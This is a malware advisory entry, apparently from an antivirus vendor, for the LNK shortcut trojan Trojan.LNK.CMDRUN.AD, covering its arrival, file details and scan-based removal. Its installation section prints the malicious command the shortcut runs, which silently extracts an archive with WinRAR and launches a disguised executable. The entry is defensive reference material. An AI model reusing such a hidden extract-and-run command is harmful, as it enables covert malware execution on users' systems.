Trojan.LNK.CMDRUN.AD

April 14, 2022
 Analysis by: Khristian Joseph Morales
 ALIASES:

LNK/DorkLnk.A!tr (FORTINET)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,703 bytes

File Type:

LNK

Memory Resident:

No

Initial Samples Received Date:

23 Mar 2022

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\cmd.exe" /c "_\_\_\_\_\_\putty.exe||(forfiles /P %Application Data%\..\..\ /S /M Desktop.rar /C "cmd /c (%Program Files%\winrar\winrar.exe x -inul -o+ @path||%Program Files%\winrar\winrar.exe x -inul -o+ @path)&&_\_\_\_\_\_\putty.exe")"

(Note: %Program Files% is the default Program Files folder, usually C:\Program Files in Windows 2000(32-bit), Server 2003(32-bit), XP, Vista(64-bit), 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit) , or C:\Program Files (x86) in Windows XP(64-bit), Vista(64-bit), 7(64-bit), 8(64-bit), 8.1(64-bit), 2008(64-bit), 2012(64-bit) and 10(64-bit).)

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.468.02

FIRST VSAPI PATTERN DATE:

28 Mar 2022

VSAPI OPR PATTERN File:

17.467.00

VSAPI OPR PATTERN Date:

29 Mar 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.LNK.CMDRUN.AD. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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